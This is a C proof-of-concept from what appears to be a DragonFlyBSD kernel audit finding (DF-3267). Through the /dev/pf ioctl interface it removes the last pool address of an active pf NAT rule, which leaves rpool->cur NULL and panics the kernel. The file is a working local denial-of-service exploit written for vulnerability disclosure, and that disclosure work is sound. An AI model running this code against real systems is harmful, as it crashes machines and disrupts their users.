⬢ DragonFlyBSD Kernel Audit
DF-3267 / rmpool.c
← back to finding ↓ download raw
/*
 * DF-3267: empty an active pf translation rule pool via DIOCCHANGEADDR
 * PF_CHANGE_REMOVE of its LAST pool address, driving
 *
 *	pool->cur = TAILQ_FIRST(&pool->list);		    (NULL now)
 *	PF_ACPY(&pool->counter, &pool->cur->addr.v.a.addr, pca->af);
 *						    pf_ioctl.c:2331-2333
 *
 * -> NULL-pointer dereference panic in the ioctl.  The same NULL
 * rpool->cur is later dereferenced unguarded in the packet path
 * (pf_map_addr pf.c:2693-2712, pf_set_rt_ifp pf.c:3642/3649).
 *
 * prerequisites (set up by run.sh):
 *   pfctl -f nat.conf          with:  nat on lo0 from any to any -> 1.2.3.4
 *
 * usage: rmpool
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/pf/pfvar.h>

int
main(void)
{
	struct pfioc_rule pr;
	struct pfioc_pooladdr pca;
	int dev;

	dev = open("/dev/pf", O_RDWR);
	if (dev < 0) { perror("open /dev/pf"); return 2; }

	/* 1) grab the active NAT ruleset ticket + rule nr */
	memset(&pr, 0, sizeof(pr));
	pr.rule.action = PF_NAT;
	if (ioctl(dev, DIOCGETRULES, &pr)) {
		perror("DIOCGETRULES"); return 2;
	}
	printf("nat rules: nr=%u ticket=%u\n", pr.nr, pr.ticket);
	if (pr.nr == 0) {
		fprintf(stderr, "no nat rule loaded\n");
		return 2;
	}

	/* 2) remove pool address #0 (the only one) of nat rule 0 */
	memset(&pca, 0, sizeof(pca));
	pca.action = PF_CHANGE_REMOVE;
	pca.ticket = pr.ticket;          /* rules.active.ticket */
	pca.nr = 0;                      /* pool address index */
	pca.r_action = PF_NAT;
	pca.r_num = 0;                   /* first nat rule */
	pca.r_last = 0;
	pca.af = AF_INET;
	pca.addr.addr.type = PF_ADDR_ADDRMASK;

	printf("issuing DIOCCHANGEADDR PF_CHANGE_REMOVE on last pool address...\n");
	fflush(stdout);
	if (ioctl(dev, DIOCCHANGEADDR, &pca) != 0)
		printf("ioctl returned errno %d (%s)\n", errno, strerror(errno));
	else
		printf("ioctl returned success\n");
	printf("still alive: rpool->cur is now NULL for this rule\n");
	return 0;
}